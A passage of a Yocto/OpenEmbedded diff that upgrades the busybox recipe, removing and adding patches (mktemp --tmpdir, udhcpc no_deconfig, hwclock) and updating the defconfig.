@@ -504,4 +503,4 @@ pkg_prerm_${PN}-syslog () {
fi
}
-RPROVIDES_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sh /bin/ash', '', d)}"
+RPROVIDES:${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sh /bin/ash', '', d)}"
diff --git a/meta/recipes-core/busybox/busybox/0001-Use-CC-when-linking-instead-of-LD-and-use-CFLAGS-and.patch b/meta/recipes-core/busybox/busybox/0001-Use-CC-when-linking-instead-of-LD-and-use-CFLAGS-and.patch
deleted file mode 100644
index 2bf2b91c7e..0000000000
--- a/meta/recipes-core/busybox/busybox/0001-Use-CC-when-linking-instead-of-LD-and-use-CFLAGS-and.patch
+++ /dev/null
@@ -1,114 +0,0 @@
-From a9333eb6a7b8dbda735947cd5bc981ff9352a2c9 Mon Sep 17 00:00:00 2001
-From: Nathan Phillip Brink <ohnobinki@ohnopublishing.net>
-Date: Thu, 10 Mar 2011 00:27:08 -0500
-Subject: [PATCH 1/2] Use $(CC) when linking instead of $(LD) and use $(CFLAGS)
- and $(EXTRA_CFLAGS) when linking.
-
-This fixes the issue where LDFLAGS escaped with -Wl are ignored during
-compilation. It also simplifies using CFLAGS or EXTRA_CFLAGS (such as
--m32 on x86_64 or -flto) which apply to both compilation and linking
-situations.
-
-Signed-off-by: Nathan Phillip Brink <ohnobinki@ohnopublishing.net>
----
-Upstream-Status: Pending
-
- Makefile | 7 ++++---
- scripts/Makefile.build | 8 ++++----
- scripts/Makefile.lib | 13 +++----------
- 3 files changed, 11 insertions(+), 17 deletions(-)
-
-Index: busybox-1.23.2/Makefile
-===================================================================
---- busybox-1.23.2.orig/Makefile
-+++ busybox-1.23.2/Makefile
-@@ -309,7 +309,8 @@ CHECKFLAGS := -D__linux__ -Dlinux -D
- MODFLAGS = -DMODULE
- CFLAGS_MODULE = $(MODFLAGS)
- AFLAGS_MODULE = $(MODFLAGS)
--LDFLAGS_MODULE = -r
-+LDFLAGS_RELOCATABLE = -r -nostdlib
-+LDFLAGS_MODULE = $(LDFLAGS_RELOCATABLE)
- CFLAGS_KERNEL =
- AFLAGS_KERNEL =
-
-@@ -331,7 +332,7 @@ KERNELVERSION = $(VERSION).$(PATCHLEVEL)
- export VERSION PATCHLEVEL SUBLEVEL KERNELRELEASE KERNELVERSION \
- ARCH CONFIG_SHELL HOSTCC HOSTCFLAGS CROSS_COMPILE AS LD CC \
- CPP AR NM STRIP OBJCOPY OBJDUMP MAKE AWK GENKSYMS PERL UTS_MACHINE \
-- HOSTCXX HOSTCXXFLAGS LDFLAGS_MODULE CHECK CHECKFLAGS
-+ HOSTCXX HOSTCXXFLAGS LDFLAGS_RELOCATABLE LDFLAGS_MODULE CHECK CHECKFLAGS
-
- export CPPFLAGS NOSTDINC_FLAGS LINUXINCLUDE OBJCOPYFLAGS LDFLAGS
- export CFLAGS CFLAGS_KERNEL CFLAGS_MODULE
-@@ -610,7 +611,7 @@ quiet_cmd_busybox__ ?= LINK $@
- cmd_busybox__ ?= $(srctree)/scripts/trylink \
- "$@" \
- "$(CC)" \
-- "$(CFLAGS) $(CFLAGS_busybox)" \
-+ "$(CFLAGS) $(CFLAGS_busybox) $(EXTRA_CFLAGS)" \
- "$(LDFLAGS) $(EXTRA_LDFLAGS)" \
- "$(core-y)" \
- "$(libs-y)" \
-Index: busybox-1.23.2/scripts/Makefile.build
-===================================================================
---- busybox-1.23.2.orig/scripts/Makefile.build
-+++ busybox-1.23.2/scripts/Makefile.build
-@@ -174,7 +174,7 @@ cmd_modversions = \
- | $(GENKSYMS) -a $(ARCH) \
- > $(@D)/.tmp_$(@F:.o=.ver); \
- \
-- $(LD) $(LDFLAGS) -r -o $@ $(@D)/.tmp_$(@F) \
-+ $(CC) $(ld_flags_partial) $(LDFLAGS_RELOCATABLE) -o $@ $(@D)/.tmp_$(@F) \
- -T $(@D)/.tmp_$(@F:.o=.ver); \
- rm -f $(@D)/.tmp_$(@F) $(@D)/.tmp_$(@F:.o=.ver); \
- else \
-@@ -257,7 +257,7 @@ quiet_cmd_link_o_target = LD $@
- # If the list of objects to link is empty, just create an empty built-in.o
- # -nostdlib is added to make "make LD=gcc ..." work (some people use that)
- cmd_link_o_target = $(if $(strip $(obj-y)),\
-- $(LD) -nostdlib $(ld_flags) -r -o $@ $(filter $(obj-y), $^),\
-+ $(CC) $(ld_flags_partial) $(LDFLAGS_RELOCATABLE) -o $@ $(filter $(obj-y), $^),\
- rm -f $@; $(AR) rcs $@)
-
- $(builtin-target): $(obj-y) FORCE
-@@ -292,10 +292,10 @@ $($(subst $(obj)/,,$(@:.o=-objs))) \
- $($(subst $(obj)/,,$(@:.o=-y)))), $^)
-
- quiet_cmd_link_multi-y = LD $@
--cmd_link_multi-y = $(LD) $(ld_flags) -r -o $@ $(link_multi_deps)
-+cmd_link_multi-y = $(CC) $(ld_flags_partial) $(LDFLAGS_RELOCATABLE) -o $@ $(link_multi_deps)
-
- quiet_cmd_link_multi-m = LD [M] $@
--cmd_link_multi-m = $(LD) $(ld_flags) $(LDFLAGS_MODULE) -o $@ $(link_multi_deps)
-+cmd_link_multi-m = $(CC) $(ld_flags) $(LDFLAGS_MODULE) -o $@ $(link_multi_deps)
-
- # We would rather have a list of rules like
- # foo.o: $(foo-objs)
-Index: busybox-1.23.2/scripts/Makefile.lib
-===================================================================
---- busybox-1.23.2.orig/scripts/Makefile.lib
-+++ busybox-1.23.2/scripts/Makefile.lib
-@@ -121,7 +121,8 @@ cpp_flags = -Wp,-MD,$(depfile) $(NO
- # yet ld_flags is fed to ld.
- #ld_flags = $(LDFLAGS) $(EXTRA_LDFLAGS)
- # Remove the -Wl, prefix from linker options normally passed through gcc
--ld_flags = $(filter-out -Wl$(comma)%,$(LDFLAGS) $(EXTRA_LDFLAGS))
-+ld_flags = $(filter-out -Wl$(comma)%,$(LDFLAGS) $(EXTRA_LDFLAGS) $(CFLAGS) $(EXTRA_CFLAGS))
-+ld_flags_partial = $($(filter-out -shared%, $(filter-out -pie%,$(ld_flags))))
-
-
- # Finds the multi-part object the current object will be linked into
-@@ -151,10 +152,8 @@ $(obj)/%:: $(src)/%_shipped
- # Linking
- # ---------------------------------------------------------------------------
-
--# TODO: LDFLAGS usually is supposed to contain gcc's flags, not ld's.
--# but here we feed them to ld!
--quiet_cmd_ld = LD $@
--cmd_ld = $(LD) $(LDFLAGS) $(EXTRA_LDFLAGS) $(LDFLAGS_$(@F)) \
-+quiet_cmd_ld = CC $@
-+cmd_ld = $(CC) $(ld_flags) $(LDFLAGS_$(@F)) \
- $(filter-out FORCE,$^) -o $@
-
- # Objcopy
diff --git a/meta/recipes-core/busybox/busybox/0001-hwclock-make-glibc-2.31-compatible.patch b/meta/recipes-core/busybox/busybox/0001-hwclock-make-glibc-2.31-compatible.patch
deleted file mode 100644
index 8d1f272120..0000000000
--- a/meta/recipes-core/busybox/busybox/0001-hwclock-make-glibc-2.31-compatible.patch
+++ /dev/null
@@ -1,83 +0,0 @@
-From 5b2fc5746c352eb2b27bfc9fb224580d9852d0fa Mon Sep 17 00:00:00 2001
-From: Sakib Sajal <sakib.sajal@windriver.com>
-Date: Fri, 17 Jul 2020 17:27:21 +0000
-Subject: [PATCH] hwclock: make glibc 2.31 compatible
-
-NEWS for glibc version 2.31
-===========================
-
-Deprecated and removed features, and other changes affecting compatibility:
-
-* The settimeofday function can still be used to set a system-wide
- time zone when the operating system supports it. This is because
- the Linux kernel reused the API, on some architectures, to describe
- a system-wide time-zone-like offset between the software clock
- maintained by the kernel, and the "RTC" clock that keeps time when
- the system is shut down.
-
- However, to reduce the odds of this offset being set by accident,
- settimeofday can no longer be used to set the time and the offset
- simultaneously. If both of its two arguments are non-null, the call
- will fail (setting errno to EINVAL).
-
- Callers attempting to set this offset should also be prepared for
- the call to fail and set errno to ENOSYS; this already happens on
- the Hurd and on some Linux architectures. The Linux kernel
- maintainers are discussing a more principled replacement for the
- reused API. After a replacement becomes available, we will change
- settimeofday to fail with ENOSYS on all platforms when its 'tzp'
- argument is not a null pointer.
-
- settimeofday itself is obsolescent according to POSIX. Programs
- that set the system time should use clock_settime and/or the adjtime
- family of functions instead. We may cease to make settimeofday
- available to newly linked binaries after there is a replacement for
- Linux's time-zone-like offset API.
-
-hwclock had two calls to settimeofday, in functions to_sys_clock and
-set_system_clock_timezone, where both the arguments to settimeofday
-were valid (non-null).
-Therefore, split the call, once for timezone and once for timeval.
-
-Fixes #12756
-
-Upstream-Status: Pending
-
-Signed-off-by: Sakib Sajal <sakib.sajal@windriver.com>
----
- util-linux/hwclock.c | 12 ++++++++----
- 1 file changed, 8 insertions(+), 4 deletions(-)
-
-diff --git a/util-linux/hwclock.c b/util-linux/hwclock.c
-index dc97d8f..cf346e8 100644
---- a/util-linux/hwclock.c
-+++ b/util-linux/hwclock.c
-@@ -131,8 +131,10 @@ static void to_sys_clock(const char **pp_rtcname, int utc)
-
- tv.tv_sec = read_rtc(pp_rtcname, NULL, utc);
- tv.tv_usec = 0;
-- if (settimeofday(&tv, &tz))
-- bb_simple_perror_msg_and_die("settimeofday");
-+ if (settimeofday(NULL, &tz))
-+ bb_simple_perror_msg_and_die("settimeofday: timezone");
-+ if (settimeofday(&tv, NULL))
-+ bb_simple_perror_msg_and_die("settimeofday: timeval");
- }
-
- static void from_sys_clock(const char **pp_rtcname, int utc)
-@@ -283,8 +285,10 @@ static void set_system_clock_timezone(int utc)
- gettimeofday(&tv, NULL);
- if (!utc)
- tv.tv_sec += tz.tz_minuteswest * 60;
-- if (settimeofday(&tv, &tz))
-- bb_simple_perror_msg_and_die("settimeofday");
-+ if (settimeofday(NULL, &tz))
-+ bb_simple_perror_msg_and_die("settimeofday: timezone");
-+ if (settimeofday(&tv, NULL))
-+ bb_simple_perror_msg_and_die("settimeofday: timeval");
- }
-
- //usage:#define hwclock_trivial_usage
---
-2.24.1
-
diff --git a/meta/recipes-core/busybox/busybox/0001-mktemp-add-tmpdir-option.patch b/meta/recipes-core/busybox/busybox/0001-mktemp-add-tmpdir-option.patch
new file mode 100644
index 0000000000..4a1960dff2
--- /dev/null
+++ b/meta/recipes-core/busybox/busybox/0001-mktemp-add-tmpdir-option.patch
@@ -0,0 +1,81 @@
+From ceb378209f953ea745ed93a8645567196380ce3c Mon Sep 17 00:00:00 2001
+From: Andrej Valek <andrej.valek@siemens.com>
+Date: Thu, 24 Jun 2021 19:13:22 +0200
+Subject: [PATCH] mktemp: add tmpdir option
+
+Make mktemp more compatible with coreutils.
+- add "--tmpdir" option
+- add long variants for "d,q,u" options
+
+Upstream-Status: Submitted [http://lists.busybox.net/pipermail/busybox/2021-June/088932.html]
+
+Signed-off-by: Andrej Valek <andrej.valek@siemens.com>
+Signed-off-by: Peter Marko <peter.marko@siemens.com>
+---
+ coreutils/mktemp.c | 26 ++++++++++++++++++--------
+ 1 file changed, 18 insertions(+), 8 deletions(-)
+
+diff --git a/coreutils/mktemp.c b/coreutils/mktemp.c
+index 5393320a5..05c6d98c6 100644
+--- a/coreutils/mktemp.c
++++ b/coreutils/mktemp.c
+@@ -39,16 +39,17 @@
+ //kbuild:lib-$(CONFIG_MKTEMP) += mktemp.o
+
+ //usage:#define mktemp_trivial_usage
+-//usage: "[-dt] [-p DIR] [TEMPLATE]"
++//usage: "[-dt] [-p DIR, --tmpdir[=DIR]] [TEMPLATE]"
+ //usage:#define mktemp_full_usage "\n\n"
+ //usage: "Create a temporary file with name based on TEMPLATE and print its name.\n"
+ //usage: "TEMPLATE must end with XXXXXX (e.g. [/dir/]nameXXXXXX).\n"
+ //usage: "Without TEMPLATE, -t tmp.XXXXXX is assumed.\n"
+-//usage: "\n -d Make directory, not file"
+-//usage: "\n -q Fail silently on errors"
+-//usage: "\n -t Prepend base directory name to TEMPLATE"
+-//usage: "\n -p DIR Use DIR as a base directory (implies -t)"
+-//usage: "\n -u Do not create anything; print a name"
++//usage: "\n -d Make directory, not file"
++//usage: "\n -q Fail silently on errors"
++//usage: "\n -t Prepend base directory name to TEMPLATE"
++//usage: "\n -p DIR, --tmpdir[=DIR] Use DIR as a base directory (implies -t)"
++//usage: "\n For --tmpdir is a optional one."
++//usage: "\n -u Do not create anything; print a name"
+ //usage: "\n"
+ //usage: "\nBase directory is: -p DIR, else $TMPDIR, else /tmp"
+ //usage:
+@@ -72,13 +73,22 @@ int mktemp_main(int argc UNUSED_PARAM, char **argv)
+ OPT_t = 1 << 2,
+ OPT_p = 1 << 3,
+ OPT_u = 1 << 4,
++ OPT_td = 1 << 5,
+ };
+
+ path = getenv("TMPDIR");
+ if (!path || path[0] == '\0')
+ path = "/tmp";
+
+- opts = getopt32(argv, "^" "dqtp:u" "\0" "?1"/*1 arg max*/, &path);
++ opts = getopt32long(argv, "^"
++ "dqtp:u\0"
++ "?1" /* 1 arg max */,
++ "directory\0" No_argument "d"
++ "quiet\0" No_argument "q"
++ "dry-run\0" No_argument "u"
++ "tmpdir\0" Optional_argument "\xff"
++ , &path, &path
++ );
+
+ chp = argv[optind];
+ if (!chp) {
+@@ -95,7 +105,7 @@ int mktemp_main(int argc UNUSED_PARAM, char **argv)
+ goto error;
+ }
+ #endif
+- if (opts & (OPT_t|OPT_p))
++ if (opts & (OPT_t|OPT_p|OPT_td))
+ chp = concat_path_file(path, chp);
+
+ if (opts & OPT_u) {
+--
+2.11.0
+
diff --git a/meta/recipes-core/busybox/busybox/0001-testsuite-check-uudecode-before-using-it.patch b/meta/recipes-core/busybox/busybox/0001-testsuite-check-uudecode-before-using-it.patch
index 25472f0bbd..d4bda3c12f 100644
--- a/meta/recipes-core/busybox/busybox/0001-testsuite-check-uudecode-before-using-it.patch
+++ b/meta/recipes-core/busybox/busybox/0001-testsuite-check-uudecode-before-using-it.patch
@@ -18,13 +18,13 @@ diff --git a/testsuite/tar.tests b/testsuite/tar.tests
index d71a349..8c88567 100755
--- a/testsuite/tar.tests
+++ b/testsuite/tar.tests
-@@ -336,7 +336,7 @@ SKIP=
- cd .. || exit 1; rm -rf tar.tempdir 2>/dev/null
+@@ -339,7 +339,7 @@ cd .. || exit 1; rm -rf tar.tempdir 2>/d
+ fi
mkdir tar.tempdir && cd tar.tempdir || exit 1
-optional FEATURE_SEAMLESS_BZ2 FEATURE_TAR_AUTODETECT LS
+optional FEATURE_SEAMLESS_BZ2 FEATURE_TAR_AUTODETECT LS UUDECODE
- testing "Symlink attack: create symlink and then write through it" '\
+ testing "tar Symlink attack: create symlink and then write through it" '\
exec 2>&1
uudecode -o input && tar xvf input; echo $?
diff --git a/testsuite/unzip.tests b/testsuite/unzip.tests
diff --git a/meta/recipes-core/busybox/busybox/busybox-udhcpc-no_deconfig.patch b/meta/recipes-core/busybox/busybox/busybox-udhcpc-no_deconfig.patch
index 35e981d6a2..948932a3e8 100644
--- a/meta/recipes-core/busybox/busybox/busybox-udhcpc-no_deconfig.patch
+++ b/meta/recipes-core/busybox/busybox/busybox-udhcpc-no_deconfig.patch
@@ -31,11 +31,11 @@ Signed-off-by: Andreas Oberritter <obi@opendreambox.org>
networking/udhcp/dhcpc.c | 29 ++++++++++++++++------
1 file changed, 21 insertions(+), 8 deletions(-)
-Index: busybox-1.32.0/networking/udhcp/dhcpc.c
+Index: busybox-1.34.0/networking/udhcp/dhcpc.c
===================================================================
---- busybox-1.32.0.orig/networking/udhcp/dhcpc.c
-+++ busybox-1.32.0/networking/udhcp/dhcpc.c
-@@ -48,6 +48,8 @@ struct tpacket_auxdata {
+--- busybox-1.34.0.orig/networking/udhcp/dhcpc.c
++++ busybox-1.34.0/networking/udhcp/dhcpc.c
+@@ -48,6 +48,8 @@
};
#endif
@@ -44,47 +44,37 @@ Index: busybox-1.32.0/networking/udhcp/dhcpc.c
/* "struct client_data_t client_data" is in bb_common_bufsiz1 */
-@@ -103,8 +105,10 @@
- OPT_x = 1 << 18,
- OPT_f = 1 << 19,
- OPT_B = 1 << 20,
-+ OPT_D = 1 << 21,
+@@ -100,8 +102,10 @@
+ OPT_x = 1 << 16,
+ OPT_f = 1 << 17,
+ OPT_B = 1 << 18,
++ OPT_D = 1 << 19,
/* The rest has variable bit positions, need to be clever */
- OPTBIT_B = 20,
-+ OPTBIT_D = 21,
+ OPTBIT_B = 18,
++ OPTBIT_D = 19,
USE_FOR_MMU( OPTBIT_b,)
IF_FEATURE_UDHCPC_ARPING(OPTBIT_a,)
IF_FEATURE_UDHCP_PORT( OPTBIT_P,)
-@@ -1084,7 +1088,8 @@
- client_data.state = RENEW_REQUESTED;
- break;
- case RENEW_REQUESTED: /* impatient are we? fine, square 1 */
-- udhcp_run_script(NULL, "deconfig");
-+ if (allow_deconfig)
-+ udhcp_run_script(NULL, "deconfig");
- case REQUESTING:
- case RELEASED:
- change_listen_mode(LISTEN_RAW);
-@@ -1120,7 +1125,8 @@ static void perform_release(uint32_t server_addr, uint32_t requested_ip)
- * Users requested to be notified in all cases, even if not in one
- * of the states above.
- */
-- udhcp_run_script(NULL, "deconfig");
+@@ -587,7 +591,8 @@
+
+ static void d4_run_script_deconfig(void)
+ {
+- d4_run_script(NULL, "deconfig");
+ if (allow_deconfig)
-+ udhcp_run_script(NULL, "deconfig");
++ d4_run_script(NULL, "deconfig");
+ }
- change_listen_mode(LISTEN_NONE);
- client_data.state = RELEASED;
-@@ -1238,7 +1244,7 @@
+ /*** Sending/receiving packets ***/
+@@ -1244,7 +1249,7 @@
/* Parse command line */
opt = getopt32long(argv, "^"
/* O,x: list; -T,-t,-A take numeric param */
-- "CV:H:h:F:i:np:qRr:s:T:+t:+SA:+O:*ox:*fB"
-+ "CV:H:h:F:i:np:qRr:s:T:+t:+SA:+O:*ox:*fBD"
+- "CV:F:i:np:qRr:s:T:+t:+SA:+O:*ox:*fB"
++ "CV:F:i:np:qRr:s:T:+t:+SA:+O:*ox:*fBD"
USE_FOR_MMU("b")
IF_FEATURE_UDHCPC_ARPING("a::")
IF_FEATURE_UDHCP_PORT("P:")
-@@ -1349,6 +1355,10 @@
+@@ -1361,6 +1366,10 @@
logmode |= LOGMODE_SYSLOG;
}
@@ -95,49 +85,3 @@ Index: busybox-1.32.0/networking/udhcp/dhcpc.c
/* Create pidfile */
write_pidfile(client_data.pidfile);
/* Goes to stdout (unless NOMMU) and possibly syslog */
-@@ -1357,7 +1367,8 @@
- srand(monotonic_us());
-
- client_data.state = INIT_SELECTING;
-- udhcp_run_script(NULL, "deconfig");
-+ if (allow_deconfig)
-+ udhcp_run_script(NULL, "deconfig");
- change_listen_mode(LISTEN_RAW);
- packet_num = 0;
- timeout = 0;
-@@ -1530,7 +1541,8 @@
- }
- /* Timed out, enter init state */
- bb_simple_info_msg("lease lost, entering init state");
-- udhcp_run_script(NULL, "deconfig");
-+ if (allow_deconfig)
-+ udhcp_run_script(NULL, "deconfig");
- client_data.state = INIT_SELECTING;
- client_data.first_secs = 0; /* make secs field count from 0 */
- /*timeout = 0; - already is */
-@@ -1722,8 +1734,10 @@
- "(got ARP reply), declining");
- send_decline(/*xid,*/ server_addr, packet.yiaddr);
-
-- if (client_data.state != REQUESTING)
-- udhcp_run_script(NULL, "deconfig");
-+ if (client_data.state != REQUESTING) {
-+ if (allow_deconfig)
-+ udhcp_run_script(NULL, "deconfig");
-+ }
- change_listen_mode(LISTEN_RAW);
- client_data.state = INIT_SELECTING;
- client_data.first_secs = 0; /* make secs field count from 0 */
-@@ -1792,8 +1806,10 @@
- /* return to init state */
- bb_info_msg("received %s", "DHCP NAK");
- udhcp_run_script(&packet, "nak");
-- if (client_data.state != REQUESTING)
-- udhcp_run_script(NULL, "deconfig");
-+ if (client_data.state != REQUESTING) {
-+ if (allow_deconfig)
-+ udhcp_run_script(NULL, "deconfig");
-+ }
- change_listen_mode(LISTEN_RAW);
- sleep(3); /* avoid excessive network traffic */
- client_data.state = INIT_SELECTING;
diff --git a/meta/recipes-core/busybox/busybox/defconfig b/meta/recipes-core/busybox/busybox/defconfig
index 4334a9d738..16c61a84b2 100644
--- a/meta/recipes-core/busybox/busybox/defconfig
+++ b/meta/recipes-core/busybox/busybox/defconfig
@@ -1,7 +1,7 @@
#
# Automatically generated make config: don't edit
-# Busybox version: 1.30.1
-# Sun Feb 17 18:12:27 2019
+# Busybox version: 1.34.0
+# Wed Aug 23 09:07:25 2021
#
CONFIG_HAVE_DOT_CONFIG=y
@@ -34,8 +34,8 @@ CONFIG_FEATURE_SUID_CONFIG_QUIET=y
CONFIG_BUSYBOX_EXEC_PATH="/proc/self/exe"
# CONFIG_SELINUX is not set
# CONFIG_FEATURE_CLEAN_UP is not set
+CONFIG_FEATURE_SYSLOG_INFO=y
CONFIG_FEATURE_SYSLOG=y
-CONFIG_PLATFORM_LINUX=y
#
# Build Options
@@ -54,6 +54,7 @@ CONFIG_EXTRA_LDFLAGS=""
CONFIG_EXTRA_LDLIBS=""
# CONFIG_USE_PORTABLE_CODE is not set
CONFIG_STACK_OPTIMIZATION_386=y
+CONFIG_STATIC_LIBGCC=y
#
# Installation Options ("make install" behavior)
@@ -75,6 +76,7 @@ CONFIG_PREFIX="./_install"
# CONFIG_DEBUG_SANITIZE is not set
# CONFIG_UNIT_TEST is not set
# CONFIG_WERROR is not set
+# CONFIG_WARN_SIMPLE_MSG is not set
CONFIG_NO_DEBUG_LIB=y
# CONFIG_DMALLOC is not set
# CONFIG_EFENCE is not set
@@ -108,13 +110,13 @@ CONFIG_FEATURE_EDITING_FANCY_PROMPT=y
# CONFIG_FEATURE_EDITING_WINCH is not set
# CONFIG_FEATURE_EDITING_ASK_TERMINAL is not set
# CONFIG_LOCALE_SUPPORT is not set
-# CONFIG_UNICODE_SUPPORT is not set
+CONFIG_UNICODE_SUPPORT=y
# CONFIG_UNICODE_USING_LOCALE is not set
-# CONFIG_FEATURE_CHECK_UNICODE_IN_ENV is not set
-CONFIG_SUBST_WCHAR=0
-CONFIG_LAST_SUPPORTED_WCHAR=0
-# CONFIG_UNICODE_COMBINING_WCHARS is not set
-# CONFIG_UNICODE_WIDE_WCHARS is not set
+CONFIG_FEATURE_CHECK_UNICODE_IN_ENV=y
+CONFIG_SUBST_WCHAR=63
+CONFIG_LAST_SUPPORTED_WCHAR=767
+CONFIG_UNICODE_COMBINING_WCHARS=y
+CONFIG_UNICODE_WIDE_WCHARS=y
# CONFIG_UNICODE_BIDI_SUPPORT is not set
# CONFIG_UNICODE_NEUTRAL_TABLE is not set
# CONFIG_UNICODE_PRESERVE_BROKEN is not set
@@ -155,6 +157,7 @@ CONFIG_LZCAT=y
CONFIG_XZCAT=y
# CONFIG_XZ is not set
CONFIG_BZIP2=y
+CONFIG_BZIP2_SMALL=8
CONFIG_FEATURE_BZIP2_DECOMPRESS=y
CONFIG_CPIO=y
# CONFIG_FEATURE_CPIO_O is not set
@@ -204,11 +207,13 @@ CONFIG_CHOWN=y
# CONFIG_FEATURE_CHOWN_LONG_OPTIONS is not set
CONFIG_CHROOT=y
# CONFIG_CKSUM is not set
+CONFIG_CRC32=y
# CONFIG_COMM is not set
CONFIG_CP=y
# CONFIG_FEATURE_CP_LONG_OPTIONS is not set
# CONFIG_FEATURE_CP_REFLINK is not set
CONFIG_CUT=y
+CONFIG_FEATURE_CUT_REGEX=y
CONFIG_DATE=y
# CONFIG_FEATURE_DATE_ISOFMT is not set
# CONFIG_FEATURE_DATE_NANO is not set
@@ -235,7 +240,6 @@ CONFIG_EXPR_MATH_SUPPORT_64=y
# CONFIG_FACTOR is not set
CONFIG_FALSE=y
# CONFIG_FOLD is not set
-# CONFIG_FSYNC is not set
CONFIG_HEAD=y
# CONFIG_FEATURE_FANCY_HEAD is not set
# CONFIG_HOSTID is not set
@@ -257,8 +261,8 @@ CONFIG_FEATURE_LS_USERNAME=y
CONFIG_FEATURE_LS_COLOR=y
# CONFIG_FEATURE_LS_COLOR_IS_DEFAULT is not set
CONFIG_MD5SUM=y
-# CONFIG_SHA1SUM is not set
-# CONFIG_SHA256SUM is not set
+CONFIG_SHA1SUM=y
+CONFIG_SHA256SUM=y
# CONFIG_SHA512SUM is not set
# CONFIG_SHA3SUM is not set
@@ -302,6 +306,7 @@ CONFIG_STTY=y
# CONFIG_SUM is not set
CONFIG_SYNC=y
# CONFIG_FEATURE_SYNC_FANCY is not set
+# CONFIG_FSYNC is not set
# CONFIG_TAC is not set
CONFIG_TAIL=y
CONFIG_FEATURE_FANCY_TAIL=y
@@ -313,7 +318,6 @@ CONFIG_TEST2=y
CONFIG_FEATURE_TEST_64=y
# CONFIG_TIMEOUT is not set
CONFIG_TOUCH=y
-CONFIG_FEATURE_TOUCH_NODEREF=y
CONFIG_FEATURE_TOUCH_SUSV3=y
CONFIG_TR=y
CONFIG_FEATURE_TR_CLASSES=y
@@ -328,14 +332,15 @@ CONFIG_UNIQ=y
CONFIG_UNLINK=y
CONFIG_USLEEP=y
# CONFIG_UUDECODE is not set
+CONFIG_BASE32=y
# CONFIG_BASE64 is not set
# CONFIG_UUENCODE is not set
CONFIG_WC=y
# CONFIG_FEATURE_WC_LARGE is not set
-CONFIG_WHOAMI=y
CONFIG_WHO=y
# CONFIG_W is not set
CONFIG_USERS=y
+CONFIG_WHOAMI=y
CONFIG_YES=y
#
@@ -375,8 +380,8 @@ CONFIG_DEFAULT_SETFONT_DIR=""
CONFIG_LOADKMAP=y
CONFIG_OPENVT=y
CONFIG_RESET=y
-# CONFIG_RESIZE is not set
-# CONFIG_FEATURE_RESIZE_PRINT is not set
+CONFIG_RESIZE=y
+CONFIG_FEATURE_RESIZE_PRINT=y
CONFIG_SETCONSOLE=y
# CONFIG_FEATURE_SETCONSOLE_LONG_OPTIONS is not set
# CONFIG_SETKEYCODES is not set
@@ -420,6 +425,7 @@ CONFIG_VI=y
CONFIG_FEATURE_VI_MAX_LEN=1024
CONFIG_FEATURE_VI_8BIT=y
CONFIG_FEATURE_VI_COLON=y
+CONFIG_FEATURE_VI_COLON_EXPAND=y
CONFIG_FEATURE_VI_YANKMARK=y
CONFIG_FEATURE_VI_SEARCH=y
# CONFIG_FEATURE_VI_REGEX_SEARCH is not set
@@ -433,6 +439,7 @@ CONFIG_FEATURE_VI_WIN_RESIZE=y
CONFIG_FEATURE_VI_UNDO=y
CONFIG_FEATURE_VI_UNDO_QUEUE=y
CONFIG_FEATURE_VI_UNDO_QUEUE_MAX=256
+CONFIG_FEATURE_VI_VERBOSE_STATUS=y
CONFIG_FEATURE_ALLOW_EXEC=y
#
@@ -460,6 +467,7 @@ CONFIG_FEATURE_FIND_SIZE=y
CONFIG_FEATURE_FIND_PRUNE=y
CONFIG_FEATURE_FIND_QUIT=y
# CONFIG_FEATURE_FIND_DELETE is not set
+CONFIG_FEATURE_FIND_EMPTY=y
CONFIG_FEATURE_FIND_PATH=y
CONFIG_FEATURE_FIND_REGEX=y
# CONFIG_FEATURE_FIND_CONTEXT is not set
@@ -488,32 +496,32 @@ CONFIG_FEATURE_XARGS_SUPPORT_REPL_STR=y
CONFIG_REBOOT=y
# CONFIG_FEATURE_WAIT_FOR_INIT is not set
# CONFIG_FEATURE_CALL_TELINIT is not set
-# CONFIG_TELINIT_PATH is not set
+CONFIG_TELINIT_PATH=""
# CONFIG_INIT is not set
# CONFIG_LINUXRC is not set
# CONFIG_FEATURE_USE_INITTAB is not set
# CONFIG_FEATURE_KILL_REMOVED is not set
-# CONFIG_FEATURE_KILL_DELAY is not set
+CONFIG_FEATURE_KILL_DELAY=0
# CONFIG_FEATURE_INIT_SCTTY is not set
# CONFIG_FEATURE_INIT_SYSLOG is not set
# CONFIG_FEATURE_INIT_QUIET is not set
# CONFIG_FEATURE_INIT_COREDUMPS is not set
-# CONFIG_INIT_TERMINAL_TYPE is not set
+CONFIG_INIT_TERMINAL_TYPE=""
# CONFIG_FEATURE_INIT_MODIFY_CMDLINE is not set
#
# Login/Password Management Utilities
#
-# CONFIG_FEATURE_SHADOWPASSWDS is not set
+CONFIG_FEATURE_SHADOWPASSWDS=y
# CONFIG_USE_BB_PWD_GRP is not set
# CONFIG_USE_BB_SHADOW is not set
CONFIG_USE_BB_CRYPT=y
# CONFIG_USE_BB_CRYPT_SHA is not set
-# CONFIG_ADDGROUP is not set
-# CONFIG_FEATURE_ADDUSER_TO_GROUP is not set
# CONFIG_ADD_SHELL is not set
# CONFIG_REMOVE_SHELL is not set
-# CONFIG_ADDUSER is not set
+CONFIG_ADDGROUP=y
+# CONFIG_FEATURE_ADDUSER_TO_GROUP is not set
+CONFIG_ADDUSER=y
# CONFIG_FEATURE_CHECK_NAMES is not set
CONFIG_LAST_ID=60000
CONFIG_FIRST_SYSTEM_ID=100
@@ -522,23 +530,23 @@ CONFIG_LAST_SYSTEM_ID=999
CONFIG_FEATURE_DEFAULT_PASSWD_ALGO=""
# CONFIG_CRYPTPW is not set
# CONFIG_MKPASSWD is not set
-# CONFIG_DELUSER is not set
-# CONFIG_DELGROUP is not set
+CONFIG_DELUSER=y
+CONFIG_DELGROUP=y
# CONFIG_FEATURE_DEL_USER_FROM_GROUP is not set
-# CONFIG_GETTY is not set
-# CONFIG_LOGIN is not set
+CONFIG_GETTY=y
+CONFIG_LOGIN=y
# CONFIG_LOGIN_SESSION_AS_CHILD is not set
# CONFIG_LOGIN_SCRIPTS is not set
# CONFIG_FEATURE_NOLOGIN is not set
# CONFIG_FEATURE_SECURETTY is not set
-# CONFIG_PASSWD is not set
+CONFIG_PASSWD=y
# CONFIG_FEATURE_PASSWD_WEAK_CHECK is not set
-# CONFIG_SU is not set
+CONFIG_SU=y
# CONFIG_FEATURE_SU_SYSLOG is not set
# CONFIG_FEATURE_SU_CHECKS_SHELLS is not set
# CONFIG_FEATURE_SU_BLANK_PW_NEEDS_SECURE_TTY is not set
-# CONFIG_SULOGIN is not set
